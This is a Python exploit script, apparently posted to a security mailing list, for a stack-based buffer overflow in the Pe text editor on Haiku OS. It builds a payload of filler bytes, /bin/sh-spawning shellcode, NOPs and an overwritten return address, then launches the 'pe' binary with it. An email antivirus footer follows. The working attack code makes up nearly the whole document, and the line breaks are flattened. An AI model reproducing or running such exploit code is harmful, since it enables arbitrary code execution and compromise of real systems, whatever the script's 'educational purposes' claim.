# Exploit Author: Juan Sacco - http://www.exploitpack.com < jsacco@exploitpack.com> # Program: Pe - Haiku OS # Tested on: Haiku OS Alpha x86 # # Description: Pe v2.4.3 and prior is prone to a stack-based buffer overflow # vulnerability because the application fails to perform adequate # boundary-checks on user-supplied input. # # An attacker could exploit this issue to execute arbitrary code in the # context of the application. Failed exploit attempts will result in a # denial-of-service condition. # # Vendor homepage: http://hg.berlios.de/repos/pe-editor # Tested on: Haiku-OS Alpha Pe 2.4.3 # MD5: 3vf34s2e9c9324c9876b2b02283a9f1247 import os,subprocess def run(): try: print "# Pe v2.4.3 Stack-Based Overflow by Juan Sacco" print "# It's Fuzzing time on unusable exploits" print "# This exploit is for educational purposes only" # Basic structure: JUNK + SHELLCODE + NOPS + EIP junk = "\x41"*1000 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\ xb0\x0b\xcd\x80" nops = "\x90"*12 eip = "\x60\xec\xff\x07" subprocess.call(["pe",' ', junk + shellcode + nops + eip]) except OSError as e: if e.errno == os.errno.ENOENT: print "PE not found!" else: print "Error executing exploit" raise def howtousage(): print "Sorry, something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit PE 2.4.3 Local Overflow Exploit" print "Author: Juan Sacco" except IndexError: howtousage() run() <https://www.avast.com/?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail> Dit e-mailbericht is verzonden vanaf een virusvrije computer die wordt beschermd door Avast. www.avast.com <https://www.avast.com/?utm_medium=email&utm_source=link&utm_campaign=sig-email&utm_content=webmail> <#DDB4FAA8-2DD7-40BB-A1B8-4E2AA1F9FDF2>